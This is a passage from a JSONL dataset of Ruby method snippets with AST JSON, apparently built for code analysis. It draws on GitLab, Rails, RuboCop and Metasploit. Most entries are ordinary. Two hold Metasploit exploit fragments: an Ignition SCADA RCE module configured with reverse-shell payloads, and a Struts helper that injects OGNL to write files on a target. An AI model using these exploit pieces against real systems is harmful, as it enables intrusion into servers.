{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hash\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CONTENT_ROOT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hash\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CONTENT_ROOT\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"content\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hash\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hash\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CONTENT_ROOT\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hash\"]},\"delete\",{\"type\":\"const\",\"children\":[null,\"CONTENT_ROOT\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_attr\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"2343e040-929c-4ad5-beaf-fb3cb44e67e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/radio_tag_component.rb","start_line":12,"raw_source":"def initialize(\n      name:,\n      value:,\n      checked: false,\n      label: nil,\n      help_text: nil,\n      label_options: {},\n      radio_options: {}\n    )\n      @name = name\n      @value = value\n      @checked = checked\n      @label_argument = label\n      @help_text_argument = help_text\n      @label_options = label_options\n      @label_options[:for] ||= label_for(name, value)\n      @input_options = radio_options\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"checked\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"label\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"help_text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"label_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"radio_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@checked\",{\"type\":\"lvar\",\"children\":[\"checked\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label_argument\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@help_text_argument\",{\"type\":\"lvar\",\"children\":[\"help_text\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label_options\",{\"type\":\"lvar\",\"children\":[\"label_options\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@label_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"for\"]}]},{\"type\":\"send\",\"children\":[null,\"label_for\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@input_options\",{\"type\":\"lvar\",\"children\":[\"radio_options\"]}]}]}]}","id":"c89a263b-d8b1-4f6b-adea-11f0e534224b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2473,"raw_source":"def test_calling_one_should_return_false_if_zero\n    firm = companies(:another_firm)\n    assert_not_predicate firm.clients_like_ms, :one?\n    assert_equal 0, firm.clients_like_ms.size\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_calling_one_should_return_false_if_zero\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"another_firm\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_like_ms\"]},{\"type\":\"sym\",\"children\":[\"one?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"clients_like_ms\"]},\"size\"]}]}]}]}","id":"902ae8b4-bdfe-4b4c-a679-bf8a592e72d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/validators/anti_abuse/unique_detumbled_email_validator.rb","start_line":27,"raw_source":"def prevent_banned_user_email_reuse?(email)\n      ::Users::BannedUser.by_detumbled_email(email).exists?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prevent_banned_user_email_reuse?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Users\"]},\"BannedUser\"]},\"by_detumbled_email\",{\"type\":\"lvar\",\"children\":[\"email\"]}]},\"exists?\"]}]}","id":"9c08b299-ad75-41bd-9501-381888fe0bbd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/scada/inductive_ignition_rce.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Inductive Automation Ignition Remote Code Execution',\n        'Description' => %q{\n          This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,\n          versions 8.0.0 to (and including) 8.0.7.\n          This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.\n          The default configuration is exploitable by an unauthenticated attacker, which can achieve\n          remote code execution as SYSTEM on a Windows installation and root on Linux.\n          The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +\n          Radek Domanski).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Pedro Ribeiro <pedrib[at]gmail.com>',                    # Vulnerability discovery and Metasploit module\n          'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module\n        ],\n        'References' => [\n          [ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],\n          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],\n          [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],\n          [ 'CVE', '2020-10644'],\n          [ 'CVE', '2020-12004'],\n          [ 'ZDI', '20-685'],\n          [ 'ZDI', '20-686'],\n        ],\n        'Privileged' => true,\n        'Platform' => %w[unix win],\n        'DefaultOptions' => {\n          'WfsDelay' => 15\n        },\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [\n            'Windows',\n            {\n              'Platform' => 'win',\n              'DefaultOptions' =>\n              { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }\n            },\n          ],\n          [\n            'Linux',\n            {\n              'Platform' => 'unix',\n              'Arch' => [ARCH_CMD],\n              'DefaultOptions' =>\n              { 'PAYLOAD' => 'cmd/unix/reverse_python' }\n            },\n          ]\n        ],\n        'DisclosureDate' => '2020-06-11',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(8088)\n      ]\n    )\n  end","complexity_score":5.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Inductive Automation Ignition Remote Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,\\n\"]},{\"type\":\"str\",\"children\":[\"          versions 8.0.0 to (and including) 8.0.7.\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.\\n\"]},{\"type\":\"str\",\"children\":[\"          The default configuration is exploitable by an unauthenticated attacker, which can achieve\\n\"]},{\"type\":\"str\",\"children\":[\"          remote code execution as SYSTEM on a Windows installation and root on Linux.\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +\\n\"]},{\"type\":\"str\",\"children\":[\"          Radek Domanski).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-10644\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-12004\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"20-685\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"20-686\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_python\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-06-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8088]}]}]}]}]}]}","id":"a93289ca-e8c0-48f8-8291-0817c14a5d76"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":590,"raw_source":"def format_full_log_msg\n    \"Worker [#{self.class}] with ID: [#{id}], PID: [#{pid}], GUID: [#{guid}]\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_full_log_msg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Worker [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"] with ID: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"], PID: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pid\"]}]},{\"type\":\"str\",\"children\":[\"], GUID: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guid\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}","id":"0ca3829d-2e5c-4ff8-a62f-fb20e8543fee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/service_manager.rb","start_line":96,"raw_source":"def stop(klass, *args, **kwargs)\n    stop_service(hals[hardcore_alias(klass, *args, **kwargs)])\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"send\",\"children\":[null,\"stop_service\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hals\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"hardcore_alias\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]}]}]}","id":"98a3b84f-7266-4d19-ad34-55c2ca313ab3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/ordered_gem_node.rb","start_line":49,"raw_source":"def gem_name(declaration_node)\n        gem_node = declaration_node.first_argument\n\n        find_gem_name(gem_node)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gem_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"declaration_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gem_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"declaration_node\"]},\"first_argument\"]}]},{\"type\":\"send\",\"children\":[null,\"find_gem_name\",{\"type\":\"lvar\",\"children\":[\"gem_node\"]}]}]}]}","id":"e1832902-9d92-4de6-9543-ab6b17755581"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb","start_line":146,"raw_source":"def java_upload_part(part, filename, append = 'false')\n    cmd = \"\"\n    cmd << \"#f=new java.io.FileOutputStream('#{filename}',#{append}),\"\n    cmd << \"#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),\"\n    cmd << \"#f.close()\"\n    execute_command(cmd)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"java_upload_part\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]},{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"append\",{\"type\":\"str\",\"children\":[\"false\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#f=new java.io.FileOutputStream('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"append\"]}]},{\"type\":\"str\",\"children\":[\"),\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#f.write(new sun.misc.BASE64Decoder().decodeBuffer('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]},{\"type\":\"str\",\"children\":[\"')),\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"#f.close()\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"c5c46013-33a7-4d56-b749-7bceedc0b99b"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/html/parser.rb","start_line":295,"raw_source":"def allowed_image_host?(src)\n      ImageUri.new(src).allowed?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_image_host?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImageUri\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"src\"]}]},\"allowed?\"]}]}","id":"5bfb20c2-07f0-45f4-a4c1-4cb4dd754df4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/namespaces/projects_finder.rb","start_line":98,"raw_source":"def sort(items)\n      return items.sorted_by_similarity_desc(params[:search]) if should_sort_by_similarity?\n\n      return items.projects_order_id_desc unless params[:sort]\n\n      items.sort_by_attribute(params[:sort])\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_sort_by_similarity?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"sorted_by_similarity_desc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"projects_order_id_desc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"sort_by_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]}","id":"03980616-245b-4fb7-9973-d3ce6263e744"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver.rb","start_line":709,"raw_source":"def tcp_timeout=(secs)\n        @config[:tcp_timeout] = TcpTimeout.new(secs)\n        @logger.info(\"New TCP timeout value: #{@config[:tcp_timeout]} seconds\")\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tcp_timeout=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"secs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tcp_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TcpTimeout\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"New TCP timeout value: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tcp_timeout\"]}]}]},{\"type\":\"str\",\"children\":[\" seconds\"]}]}]}]}]}","id":"dc963d16-f962-4ef1-b55d-02d54a16ce61"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/list/convert_table.rb","start_line":34,"raw_source":"def revert_preparation_for_partitioning\n            unless partitioning_constraint.present?\n              return Gitlab::AppLogger.warn <<~MSG\n                The partitioning constraint does not exist for: table: `#{table_name}`,\n                partitioning_column: #{partitioning_column}, parent_table_name: #{parent_table_name},\n                initial_partitioning_value: #{zero_partition_value}\n              MSG\n            end\n\n            migration_context.remove_check_constraint(table_name, partitioning_constraint.name)\n          end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"revert_preparation_for_partitioning\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partitioning_constraint\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The partitioning constraint does not exist for: table: `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"`,\\n\"]},{\"type\":\"str\",\"children\":[\"partitioning_column: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partitioning_column\"]}]},{\"type\":\"str\",\"children\":[\", parent_table_name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_table_name\"]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"initial_partitioning_value: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zero_partition_value\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_context\"]},\"remove_check_constraint\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partitioning_constraint\"]},\"name\"]}]}]}]}","id":"eaed5296-23f5-4610-b71d-161f98277bfb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/return_in_void_context.rb","start_line":38,"raw_source":"def on_return(return_node)\n          return unless return_node.descendants.any?\n\n          def_node = return_node.each_ancestor(:any_def).first\n          return unless def_node&.void_context?\n          return if return_node.each_ancestor(:any_block).any? do |block_node|\n            SCOPE_CHANGING_METHODS.include?(block_node.method_name)\n          end\n\n          add_offense(\n            return_node.loc.keyword,\n            message: format(message, method: def_node.method_name)\n          )\n        end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_return\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_node\"]},\"descendants\"]},\"any?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"def_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_node\"]},\"each_ancestor\",{\"type\":\"sym\",\"children\":[\"any_def\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"def_node\"]},\"void_context?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_node\"]},\"each_ancestor\",{\"type\":\"sym\",\"children\":[\"any_block\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SCOPE_CHANGING_METHODS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"method_name\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_node\"]},\"loc\"]},\"keyword\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[